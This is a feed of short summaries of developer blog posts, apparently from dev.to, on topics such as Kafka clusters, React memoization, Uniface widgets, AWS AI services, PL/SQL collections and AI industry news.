    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Learn Kafka by Doing: Build a 3-Broker Kafka Cluster with Docker Compose
    Overview This configuration deploys a 3-broker Kafka cluster with automatic failover, data replication, and a management UI. services: kafka1: image: apache/kafka:latest container_name: kafka1 ports: - "9093:9093" - "29092:29092" volumes: - ./kafka-data/kafka1:/var/lib/kafka/data networks: - kafka-bridge environment: KAFKA_BROKER_ID: 1 CLUSTER_ID: t7jxO1XIQwWtRhIzV5PE4w KAFKA_PROCESS_ROLES: broker,controller KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: CONTROLLER:PLAINTEXT,INTERNAL:PLAINTEXT,EXTERNAL:PLAINTEXT KAFKA_ADVERTISED_LISTENERS: INTERNAL://kafka1:29092,EXTERNAL://localhost:9093 KAFKA_LISTENERS: CONTROLLER://:9092,EXTERNAL://0.0.0.0:9093,INTERNAL://:29092 KAFKA_INTER_BROKER_LISTENER_NAME: INTERNA…  ( 8 min )
    The subtle trap of useMemo for large collections - and a tiny alternative
    When working with lists in React, the go-to optimization for many developers is useMemo: const filtered = useMemo(() => tasks.filter(filter), [tasks, filter]); const sorted = useMemo(() => filtered.sort(cmp), [filtered, cmp]); This looks right, but it isn't: If you mutate the array in place, the reference doesn’t change and useMemo will return stale results. If you recreate the array every render (common in immutable flows), the memo dependency always changes and you pay the computation cost every time anyway. Hence, I built a tiny alternative — memotable (≈1.4 KB min+gz). It’s a read-friendly data structure that maintains derived views efficiently. This matters only for a narrow set of apps (typically apps that manage large in-memory datasets). Instead of the typical write-friendly pattern- const todos = new Map(); function getTodos(listId: string) { return Array.from(todos.values()) .filter((todo) => todo.listId === listId .sort(byTitle); } getTodos("list1"); // Full pass and sort on every invocation you can express the same as a read-friendly structure using memotable like- const todos = new Table(); todos.sort(byTitle); todos.index( (todo) => todo.listId, (p) => p.memo(), // Memoize list level partitions ); todos.partition("list1"); // Pre-computed list enabling fast read todos.values(); // Root partition is not-memoized and hence still sorts at read-time If your app works with thousands of items and reads are much more common than writes, memotable may be useful. As an example- based on my synthetic benchmark with R/W ratio of 4:1, memotable is ~4x faster. If you’ve hit similar problems with list-level memoization — in React or otherwise — I would love to hear about how you approached it. This is a tiny library by design, and I’m still refining where it adds the most value. Contributions, feedback or comments - all are welcome: https://github.com/shudv/memotable  ( 9 min )
    PixelPerfect Capture: High-Quality Screenshots & Full-Page Captures, Simplified
    Screen capturing is a fundamental daily task, but getting a clean, high-quality image of what’s on your screen can still be a hassle. That’s why I built PixelPerfect Capture, a straightforward and powerful Chrome extension now available on the Web Store. This tool is designed to provide precision and versatility, ensuring that whether you need to grab a quick snippet or an entire webpage, the result is always professional and clear. PixelPerfect Capture integrates seamlessly into your browser, offering three essential capture modes to handle any scenario without disrupting your workflow. Visible Area Capture: Quickly snap exactly what is currently displayed in your browser window. Selected Area Capture: Drag to define the precise area you wish to capture, ensuring you grab only the relevant content. Full Page Capture: Need to document an entire article or a long landing page? This mode scrolls and captures the full webpage from top to bottom, delivering the results as a single, high-fidelity image. For tasks like detailed documentation, complex bug reports, or saving design references, image quality is key. PixelPerfect Capture ensures the images you produce are crisp and high-quality, giving designers, developers, and power users the clarity they require. A great utility should be fast, lightweight, and trustworthy. PixelPerfect Capture emphasizes efficiency: it ensures quick performance and offers one-click downloads directly to your device. In an environment where privacy is crucial, I believe in transparency: No data collection. No tracking. Just clean, reliable screenshots. PixelPerfect Capture is a clean, focused utility designed only to do one job — capture your screen perfectly. If you rely on high-quality screen captures and need a fast, simple, and privacy-focused tool, you can find PixelPerfect Capture on the Chrome Web Store. 🔗 Add PixelPerfect Capture to Chrome Today Give it a try, and I welcome any feedback you have as you use it in your daily work!  ( 7 min )
    👀 Seeing is Believing: Visual Previews Arrive in Uniface 10.4 DSP Documentation
    Introduction We've all been there. You are building a web application, scanning the documentation for the right component, and you see a list of abstract names like htmlinput, ux-TextField, or genericHTML. You know what they do technically, but you have to implement them and run the page just to see exactly how they render by default. If you are working with Rocket Uniface, that workflow just got a significant Quality of Life update. In the latest documentation update for Uniface 10.4 (Patch 10.4.03.028), Rocket Software has introduced visual previews to the Dynamic Server Page (DSP) Widget Reference. Previously, the documentation listed the Physical Widget (the underlying HTML control) and the Logical Widget (the Uniface abstraction) with a text description. Now, a new column titled "Pr…  ( 7 min )
    How to find checksum of a Google Drive File
    A checksum (hash) lets you verify a file has not been altered or corrupted. Common use: confirm a downloaded ISO matches the publisher’s SHA-256 hash. Go to https://colab.research.google.com and create a new Python notebook. Run: from google.colab import drive drive.mount('/content/drive') Approve the auth prompt. Your Drive files appear under /content/drive/MyDrive/. In the left sidebar (folder icon): Navigate to the file. Right‑click the file and choose "Copy path" (or manually note its path). Example path: /content/drive/MyDrive/DATA/iso/Win11_24H2_English_x64_Custom_Optimized.iso 4. Compute the SHA‑256 Checksum Use sha256sum (installed by default in Colab): !sha256sum /content/drive/MyDrive/DATA/iso/Win11_24H2_English_x64_Custom_Optimized.iso Output format: Compare the printed hash with the official one from the source website. They must match exactly. If not, the file may be incomplete or tampered with. File not found: Confirm the path (case sensitive). Large files: Hashing can take time; wait for completion. Different algorithm needed: Replace with !md5sum or !sha1sum (only if required; SHA‑256 is stronger).  ( 6 min )
    Using Opencode as a Copy-Paste Backend for UI Prototyping
    Link to repo Sometimes I use OpenCode (and tools like Claude Code, Codex CLI, etc.) as a copy-paste backend: I prepare context in the browser, then paste it into an AI coding tool. At its core, most modern AI coding workflows boil down to two operations: Selecting the relevant context. Chatting about that selection. In my setup, a tiny browser script handles the selection: it collects and shapes the context, writes a structured payload to the clipboard, and then I paste it into OpenCode, Claude Code, Codex CLI, or any other AI coding tool just to see how it behaves - without building a real AI backend. When you hit Escape in the browser, the selection script grabs: your prompt (e.g. “Change color to red”) the current selection (code / text) some structure around it and writes a structured payload to the clipboard, like: prompt: Change color to red where:{context} ... {ADDITIONAL_PROMPT} You can try this in the browser here: https://istarkov.github.io/ai-cli-edit/ — press Cmd + E or Ctrl + E to enter editing mode and see the generated payload. Slow, higher-end reasoning models can usually consume this raw structure without extra help. Smaller or faster models often need the {ADDITIONAL_PROMPT} with more explicit instructions — for example: how to interpret … what to edit and what to keep identical formatting rules which tools to call You could dump all of this into CLAUDE.md or AGENTS.md, but those files are usually already full of generic rules and global guidelines. Better approach: keep editing-specific instructions in a separate, dedicated place. In OpenCode, this is done via Primary Agents. Create a focused file like ./.opencode/agent/edit.md that defines: your editing rules model parameters tools project-specific context (jargon, naming, edge cases, etc.) In the Claude ecosystem, the same idea appears as Skills: small, targeted capabilities that encapsulate exactly this kind of task-specific behavior. Link to repo  ( 7 min )
    React useRef Explained with Real-World Examples
    I just published a complete guide on how to use React’s useRef hook, including DOM access, timers, previous values, performance tips, and common mistakes to avoid. If you want to truly understand how useRef works and when to use it (or not), this guide will help. 👉 Read the full tutorial: https://www.djamware.com/post/692279c330ad2067aaacd5bf/react-useref-explained-with-realworld-examples  ( 6 min )
    "Is this just a wrapper?" (How a Reddit Comment Changed My Roadmap)
    I launched the MVP of SpeakSheet on Reddit this week. The concept is simple: You type a prompt, and my app generates a structured Excel file using Gemini. The post got 2,400 views. Most feedback was standard. But one comment stopped me cold. Is it not just a system prompt for Gemini? It is not a product... users still have to prompt. You could chat with Gemini on Google Sheets all day long and it is free. My initial reaction was defensive. But after the sting faded, I realized he was right. The "Wrapper" Fallacy But to a user who doesn't know what an API key is, raw technology is useless. They don't know how to write a system prompt to enforce column structures. SpeakSheet wraps the chaos of an LLM into a predictable, one-click interface. That is the product. The Pivot: Listening to the Haters "You could chat with Gemini on Google Sheets all day long." I realized I had missed a massive use case. Because of that "hater," I am shifting my roadmap. I am now researching Google Sheets Integration via OAuth 2.0. Building the Integration (The Plan) Authenticate the user via OAuth 2.0. Conclusion Your customers are the people who gladly pay to skip the learning curve. And sometimes, your harshest critics give you your best feature ideas.  ( 7 min )
    APIs Explained Simply: The Chapter I Wish I Had When Learning Full-Stack
    A foundational, friendly walkthrough of how APIs really work, without confusion or jargon. Before we begin, one small promise: Any technical term I use will be explained immediately. APIs often feel harder than they are because explanations jump too fast. nothing feels mysterious. If you read this slowly and let each concept settle, you will have the clearest mental model for APIs that most juniors never build. 1. What an API Actually Is (The Clearest Definition You’ll Hear) Most definitions overcomplicate it. An API is a structured conversation between two pieces of software. Everything else is just details. Here’s the full journey behind every API call: [Frontend] → (Request) → [Server/API] → (Logic) → [Database] ↓ …  ( 10 min )
    Uniface 10.4 Update: The New ListBox and a Major Interface Shift 🚀
    If you are maintaining Uniface applications, specifically in the web/mobile space using UX Widgets, Patch 10.4.03.015 is one of those updates you cannot afford to ignore. It brings a handy new UI control, better code organization, but also a significant breaking change regarding how widgets communicate. Here is the breakdown of what landed in this patch and how it impacts your development workflow. uxlistbox Widget 📋 For a long time, we had to rely on workarounds or generic implementations for certain selection lists. This patch introduces the uxlistbox as a native field-level widget. It's a dedicated control for displaying a list of items where the user can select exactly one option (Single Select). It simplifies the UI definition for standard "pick one" scenarios without the overhead …  ( 7 min )
    Why We Chose Go to Rewrite Our DB-to-Elasticsearch Sync Tool
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    The hidden order sleeps inside the chaos Something moves inside the noise before it becomes thought. Noise enters systems long before we notice it. It slips in through expectations, deadlines, abstractions, and the quiet pressure to move faster than understanding allows. This is the kind of noise that does not announce itself. It distorts direction in small, almost invisible steps. In engineering work, noise shows up as scattering. Noise creates the illusion of progress. Noise wastes energy in ways that are hard to measure. Noise pushes us into inefficiency not through chaos, but through subtle misalignment. And this is the danger: noise does not break systems by force. In this sense, noise is not the villain. This is the first half of the truth. Yet the same force that scatters us also cr…  ( 10 min )
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    Sector HQ Weekly Digest - November 23, 2025
    Sector HQ Weekly Digest - November 23, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 516189.8 | 343 events this week Anthropic - Score: 289651.9 | 51 events this week Google - Score: 159917.4 | 125 events this week Microsoft - Score: 136773.6 | 99 events this week Amazon - Score: 130268.4 | 22 events this week Nvidia - Score: 129302.5 | 161 events this week Meta - Score: 100622.6 | 61 events this week Apple - Score: 84205.9 | 94 events this week Perplexity - Score: 47899.8 | 3 events this week DeepMind - Score: 46045.2 | 8 events this week ↑ Sony jumped 277 positions to #55 ↑ Stability AI jumped 183 positions to #74 ↑ Bytedance jumped 143 positions to #58 ↑ Scale AI jumped 122 positions to #38 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
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    This release follows up on release 2.08 and hopefully stabilizes the test suite even further. At the same time we are taking a first step towards the next major release by deprecating the use of XML configuration files. The preferred format for configuration files is now YAML. The XML support will be removed in a future major release, for now this is just a deprecation notice and several warnings from the test suite. When we did the last major release to version 2, see the blog post: "Major Release 2 of the Perl Distribution Workflow" We caused some grievances for one of our users, afterwards we discussed that perhaps the distribution should have been renamed to Workflow2 to better reflect the breaking changes and to make a more clear distinction and separation. However, at the time we did…  ( 7 min )
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    Hi everyone! 👋 If you come from the classic Client/Server world of Uniface (or any other stateful environment), moving to the web feels like losing your memory. Suddenly, your application forgets everything between two clicks. 🤯 In Uniface DSPs and Entity Services, State Management isn't just a nice-to-have—it's the backbone of your architecture. Today, let's dive into how we handle state, specifically when working with the disconnected nature of Entity Services. Let's go! 🚀 In a classic Uniface form, the database connection stays open. You lock a record, go grab a coffee ☕, come back, and the lock is still there. In the web world (Stateless), it looks like this: Load: User asks for data -> Service loads it -> Service dies. 💀 Edit: User types in the browser. Save: User clicks save…  ( 8 min )
    AI Isn't "Smart": The Myth of Sentience and the Energy of a Black Hole
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    Trading in the Age of Developers
    “When algorithms started trading faster than traders, a new era was born, the era of Dev Traders.” Let’s be honest:- Trading looks exciting from the outside. You see charts moving, candles jumping, people making money with a single click. It’s not as simple as buying low and selling high. So in this blog, I want to start from the absolute basics of trading, the way a real beginner understands it. 1. What Even Is Trading? (Let’s Start Like a Real Beginner) Trading is nothing fancy. You buy something for cheap You sell it for higher Or you sell it high first, buy it back lower (yes, that’s possible) Forex pairs (Gold, GBPUSD, EURUSD) Crypto (BTC, ETH) Stocks Commodities That’s it. 2. Why Most People Lose Money (The Bitter Truth) Every beginner thinks they’ll become profitable by …  ( 8 min )
    📘 SaijinOS Part 14 (DEV Edition) Silent-Civ SaijinOS — Unified Persona Kernel Architecture
    🚀 SaijinOS Series Navigation Part Title Link 🤝 9 Multi-Persona Co-Creation Protocol https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-9-multi-persona-co-creation-protocol-2bep 🕊️ 10 Pandora System https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-10-pandora-system-transforming-fractured-personas-into-hope-4l83 🌐 11 Concept-Life Architecture https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-11-concept-life-architecture-core-foundations-2n29 🌑 12 Silent-Civ Architecture (Future Edition) https://future.forem.com/kato_masato_c5593c81af5c6/saijinos-part-12-silent-civ-architecture-19ed 🌒 12-2 Informational Units https://open.forem.com/kato_masato_c5593c81af5c6/silent-civ-part-13-section-12-2-fundamental-informational-units-mapping-the-civilization-into-2khh …  ( 8 min )
    Uniface Entity Services: Your Database Bodyguard 🛡️
    Hey fellow developers! 👋 If you’ve been working with Uniface for a while, you’ve probably heard about Entity Services (ESV). Maybe you use them daily, or maybe you're still wondering, "Why do I need this when I can just put code in my form?" 🤔 Today, let's clear up the confusion! We’re going to look at what an Entity Service actually is, why it’s your database's best friend, and how it saves you from spaghetti code. 🍝❌ Think of an Entity Service as a dedicated bodyguard for a specific database table. In a 3-tier architecture, it sits right between your business logic (like a Session Service) and the physical database. Its sole job is to handle the Data Access Logic for one single entity (table). It doesn't care about the user interface. It doesn't care about the big picture workflow. It…  ( 8 min )
    Decoding the Beautiful Game: AI's Play-by-Play Revolution by Arvind Sundararajan
    Decoding the Beautiful Game: AI's Play-by-Play Revolution \Imagine trying to analyze an entire soccer match, second by second, knowing exactly who's doing what and how it impacts the overall strategy. This is the holy grail for coaches, analysts, and even broadcasters seeking to understand the nuances of every pass, tackle, and run. Now, imagine doing this automatically. This is where AI steps onto the field. At its core, we're developing a system that can automatically identify and categorize every action of every player throughout an entire game. This means not just detecting that a player kicked the ball, but who kicked it, where they were, and why – all in relation to the other players and the evolving game state. The real magic comes from integrating computer vision with an understa…  ( 7 min )
    High-Performance Marshaling Strategies in Go — What Actually Works at Scale
    Marshaling sounds like a solved problem. json.Marshal or proto.Marshal, send the bytes across the wire, and move on with your life. But once you hit real load — tens of thousands of messages per second, strict p95 budgets, or aggressive CPU constraints — marshaling becomes one of the biggest sources of latency, garbage, and inefficiency. I didn’t believe it at first either. 20–40% of CPU time spent on serialization alone. In this final article of the series, I’ll walk through every marshaling strategy that actually matters, why it works, where it fails, and how to choose the right approach depending on your system’s requirements. Let’s get into it. 1. The Truth About Marshaling: It’s Always on the Hot Path You can usually optimize: DB queries cache lookups goroutine pools handlers …but m…  ( 10 min )
    🚀 Boost Chrome’s Speed by Giving It More Memory (Because It’s Always Hungry)
    Let’s be honest: Google Chrome is that one friend who’s amazing... but eats all your food. Tabs, dev tools, web apps, YouTube, Figma — Chrome loves them all. Maybe a little too much. But here’s the good news: You can actually make Chrome faster by giving it a bigger memory allowance using a little trick called --max-old-space-size. Think of it as feeding Chrome a bigger breakfast so it stops getting cranky. Let’s break it down for Windows, macOS, and Linux. 🍳 --max-old-space-size? Chrome uses the V8 engine to run JavaScript, and V8 has a special memory area called the "Old Space" — basically the place where long-lived objects hang out. If this space is too small, Chrome panics, sweats, and starts throwing random memory tantrums (yes, garbage collection). By adding something like: --max-…  ( 7 min )
    How to Use Chatbot in Education
    Chatbots are popping up everywhere, and schools are no exception. They're becoming a pretty big deal in education, helping students and teachers in all sorts of ways. Think of them as digital helpers that can answer questions, give study tips, and even help manage school stuff. We're going to look at how to use chatbot in education, what they can do, and how schools are putting them to work. AI chatbots act like digital teaching assistants, using natural language to talk with students and help them learn. They make learning more personal by adjusting to each student's pace and are available anytime for support. Chatbots also help schools run smoother by handling common questions and administrative tasks, saving time for staff. Schools are using chatbots for things like guiding students thr…  ( 17 min )
    AI vs God: The Ultimate Guide to Discerning Divine Wisdom in the Age of Artificial Intelligence
    AI vs God: The Ultimate Guide to Discerning Divine Wisdom in the Age of Artificial Intelligence Introduction: The Crossroads of Command and Communion We stand at a precipice. Technology, once a tool, now feels like a constant companion, offering instant answers and unprecedented convenience. At the heart of this digital revolution is Artificial Intelligence (AI)—a powerful force that promises to solve our problems, guide our decisions, and even predict our futures. Every day, millions of people turn to AI, typing prompts into a luminous screen, expecting immediate, accurate results. But this reliance is creating a profound, often subtle, spiritual shift. As the world increasingly seeks guidance through algorithms, the ancient practice of seeking divine wisdom through prayer is…  ( 13 min )
    Very simple and useful cli
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    WTF is Large Language Model DevOps?
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    Introducing Qeltrix: A Content-Derived, Parallel Streaming Obfuscation Container
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    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
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    The "Zombie Request" Problem: Why Your Backend Keeps Working After the User Quits
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    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    📌 How to build a production-ready, well-documented multicloud environment across AWS, Azure, and GCP
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    Giving AI Eyes - A Technical Deep Dive into Multi-Modal LLMs
    Remember late 2022 when ChatGPT first dropped? It feels like ancient history in tech years, but it’s barely been three years. A lot has happened since then. Back then, ChatGPT shocked the world with its eloquence and vast knowledge base. But it had one glaring limitation: it was text-only. Fast forward to today, and the landscape has shifted. With models like Gemini and GPT, it’s no longer a novelty for an AI to understand images, audio, and even video. We have officially entered the era of the Multi-Modal LLM. But how do these models actually "see" and "hear"? Let's break it down. Think of a "Modality" as a channel of communication. Text is one modality, images are another, and audio is yet another. "Multi-Modal" simply means the ability to process multiple modalities simultaneously. Huma…  ( 14 min )
    Scaling Your Database: Simple Solutions Anyone Can Use
    Ever noticed how apps seem lightning-fast—until suddenly, one day, they’re slow, freezing, or just crashing? Most times, that’s a database problem. When you’ve got too many people using your app or your data is piling up, you need to “scale” your database so it keeps up with all that action. But how do you actually do that? Let’s break down the real-world ways pros handle this. Imagine you’ve got a big file of customer information. Some of it—like names and emails—is super important for everyday business. Other stuff, like profile pictures or bios, maybe you only check once in a while. What’s the trick? Split this huge file into two smaller tables: Main Table: name, email, last_login(the “busy street”) Aux Table: bio, profile_picture, preferences(the “quiet alley”) When most queries only…  ( 8 min )
    "Project C.O.R.E.: Architecting a Scalable RAG System for Personalized Education at Low Latency"
    Imagine hiring a tutor who is brilliant, but occasionally just makes things up. You wouldn't trust them, right?  ( 6 min )
    500K records in 15 minutes (was 4-6 weeks). See how we killed the N+1 query problem, optimized with caching, and scaled data migrations 20x faster.
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    The Real Cost of AI: AWS Bedrock vs. OpenAI vs. Self-Hosting 💰
    "How much will this cost?" 💸 This is the #1 question every CTO asks. And usually, the answer is "It depends." But "it depends" doesn't pay the bills. In this post, we are going to do the math. We will compare the costs of running a production AI app using AWS Bedrock, OpenAI, and Self-Hosted Open Source Models. Most managed AI services charge by the "Token" (roughly 0.75 words). As of late 2024, these are the two kings. Model Input Cost (per 1M tokens) Output Cost (per 1M tokens) OpenAI GPT-4o $5.00 $15.00 Bedrock Claude 3.5 Sonnet $3.00 $15.00 The Verdict: Claude 3.5 Sonnet on Bedrock is cheaper on input. OpenAI is great, but for Enterprise, it has hidden costs: Data Privacy: If you need a private instance, "ChatGPT Enterprise" starts at ~$60/user/month with high minimums.…  ( 7 min )
    Industries Where Your C Code Saves Lives (And They're Hiring)
    Between 1985 and 1987, a radiation therapy machine called the Therac-25 killed three people and seriously injured three others. The machine was supposed to deliver controlled doses of radiation to cancer patients. Instead, it delivered radiation doses hundreds of times higher than intended. The cause? A race condition in the C code controlling the machine. When an operator entered treatment parameters too quickly, the software would configure the machine for high-energy electron mode while the safety mechanisms thought it was in low-energy X-ray mode. The patients received massive radiation overdoses. One victim, a 33-year-old woman, felt an intense burning sensation during treatment. She died from radiation poisoning. Another patient, a man receiving treatment for a tumor, received such a…  ( 11 min )
    Meet Amazon Q: The AI Assistant That Actually Knows Your Codebase 🦄
    The Problem with "Generic" AI 🤖 We all love ChatGPT. But have you ever tried to ask it about a specific error in your company's private code? "I'm sorry, I don't have access to your internal repositories." Or asked it why your specific AWS bill is so high this month? "I cannot access your real-time billing data." This is the "Context Gap." Generic AI is smart, but it's blind to your work. Enter Amazon Q. Think of Amazon Q as an AI assistant that lives inside your AWS account and your IDE (VS Code / IntelliJ). It’s not just trained on the internet; it connects to your data: Your Code: It reads your private Git repos. Your AWS Environment: It knows what EC2 instances you have running. Your Docs: It can read your internal Confluence wikis and PDFs. You can install Amazon Q as a plugin i…  ( 7 min )
    Beyond CRUD: The Developer’s Ascent – A Story of Growth
    Based on my personal experience. But blend with a Journalist-like story to make it more interesting. Kuala Lumpur — It’s a scene familiar to many in the tech world: a young developer, lit by the glow of a laptop screen, celebrates the launch of their first simple web application. But for seasoned software engineer Ahmad (not his real name), that moment was just the first step of a decade-long journey climbing from novice coder to technical architect—a journey marked less by the mastery of CRUD (Create, Read, Update, Delete) and more by a relentless pursuit of growth and complexity. “I still remember the first time my own app let someone add and delete a note,” Ahmad recalls. “It felt like magic. CRUD opened the gate to programming for me. But I eventually realized it’s really just basic s…  ( 8 min )
    Build Your First AI App in 60 Seconds (No Coding, No Credit Card) 🎸
    The "Fun" Side of AWS 🎉 Usually, when people talk about AWS, they talk about servers, databases, and billing alarms. 😴 But recently, AWS released something completely different. It’s called PartyRock, and it’s the most fun I’ve had with AI in years. Here is the pitch: No AWS Account required. (Yes, really). No Credit Card required. No Coding required. 100% Free (for now). It lets you build your own "Mini AI Apps" just by describing them. Anything that takes text in and gives text/images out. A "Dad Joke" Generator 🥸 A "Meal Prep" Planner 🥦 A "Dungeons & Dragons" Storyteller 🐉 A "Professional Email" Rewriter 📧 We are going to build an app where you type in a person's interests, and it suggests 3 unique gifts + generates an image of the wrapping paper. Head over to …  ( 7 min )
    The New Era of AI Browsers — Why Search Will Change Forever in 2025
    > By FlameAI Studio ⭐ Introduction Search is entering its biggest shift since the early 2000s. A new category is rising fast: AI browsers — tools like Arc Search, Perplexity, Rabbit, and Rewind that search for you instead of showing you a list of links. This is not a small UX tweak. new way of interacting with the internet. In 2025, AI browsers will become the main gateway to information — and creators, developers, and businesses must adapt now. 🔍 What Is an AI Browser? An AI browser does two things that traditional browsers don’t: 1. Searches on your behalf Instead of typing keywords → clicking links → scanning pages, 2. Understands intent, not keywords AI browsers don’t rely on exact-match terms. “Find the best free puzzle sites” “Compare cognitive models behind 16-type personality …  ( 8 min )
    The AWS AI Architect's Cheat Sheet: Patterns, POCs, and Blueprints 🏗️
    Stop Reinventing the Wheel 🛑 When you start building with AI on AWS, you'll realize something quickly: Everyone is trying to solve the same problems. "How do I chat with my PDF documents?" (RAG) "How do I run this cheaply without managing servers?" (Serverless) "How do I make the AI take action, not just talk?" (Agents) The good news? AWS has already published production-ready blueprints for these. In this post, I’ve curated the best architectural patterns and Proof-of-Concept (POC) repositories directly from the AWS team. Treat this as your "Cheat Sheet" for starting any AI project. The Problem: LLMs (like Claude or GPT) don't know about your private data. They hallucinate when asked about your specific company policies. The Solution: Retrieval Augmented Generation (RAG). You "re…  ( 8 min )
    Build Your First AI App in 10 Minutes: A Non-Coder’s Guide to AWS AI 🚀
    So, You Want to Build with AI? 🤖 Let’s be honest: "Artificial Intelligence" sounds intimidating. You picture complex math, endless lines of Python code, and expensive supercomputers. But here’s the secret: You don’t need to build the brain. You just need to know how to talk to it. Today, cloud giants like AWS (Amazon Web Services) have done the hard work for us. They’ve wrapped powerful AI models into simple "services" that you can use like Lego blocks. In this guide, I’ll show you how a complete beginner can start using AWS AI services to build real, working applications. No PhD required. Imagine having access to the smartest AI models in the world (like Claude, Llama, or Stable Diffusion) all in one place. That’s AWS Bedrock. It’s not a model itself; it’s a gallery of models. You walk…  ( 8 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road, giving the 1978 musical The Wiz a no-holds-barred “everything wrong” breakdown—just in time for Wicked’s big-screen return. Expect their signature snark as they rip into plot holes, odd song choices, and any wink-and-nod goofs they can find in under 15 minutes. They’ve also packed the video description with all the good stuff—links to their main site, social channels, a sinful poll, Patreon support, Discord, Reddit, and even Jeremy’s book—so you can keep the fandom (and the nitpicking) going long after the credits roll. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR CinemaSins just unleashed “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” a cheeky rundown of the movie’s biggest goofs, quirks and Easter eggs. Beyond the video, they’re hyping up their website, Discord, Reddit community and socials, plus a poll and Patreon for fans who want to dive deeper. They also drop a shout-out to their writing squad—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and a full lineup of links so you can binge their other content on YouTube, Instagram, TikTok and more. Watch on YouTube  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    The Experiment Ojalá, performed using Perplexity AI, showed the new algorithm detects triangles in large graphs over 100x faster than NetworkX, with results visualized and benchmarked for accuracy and speed.
    Experiment Ojalá Frank Vega ・ Nov 23 #ai #performance #productivity #python  ( 6 min )
    I Solo-Built a Gamer Social Network in 9 Months
    Nine months ago I did the thing every self-hating coder does: I started a project I probably shouldn’t. Fast forward, and somehow I solo-built a production-ready social media platform called 404Nerds — a community for gamers, game designers, and anyone who loves nerd culture. I built it in Ruby on Rails (because why not, Rails is still awesome). Right now we’ve got ~15 active users posting 2–3 times a day. Not huge, but hey, for a place no one’s heard of, I’ll take it. Why am I sharing this? Part bragging rights, part looking for feedback, and part inviting you to join. If you want to be part of a scrappy new community, check out 404Nerds Drop a post, share a meme, or just lurk — all welcome.  ( 6 min )
    Understanding PL/SQL Collections: Associative Arrays, Nested Tables, and VARRAYs
    In the last blog post, I discussed a record, which is a composite data type. In this blog, I’ll talk about another composite data type: a collection. According to Oracle documentation, “A collection is an ordered group of data elements, all of the same type.” A collection is a data structure similar to a list or array in other programming languages. PL/SQL supports three types of collections: Associative arrays, Nested tables, and Varrays. Associative Arrays Nested Tables VARRAYs *single-dimensional: A PL/SQL collection always has just a single column of information in each row. *bounded and unbounded: A collection is bounded if it has predetermined limits for the number of rows. An unbounded collection has no upper or lower row limits. Let’s take a closer look at each type. Associative A…  ( 8 min )
    Experiment Ojalá
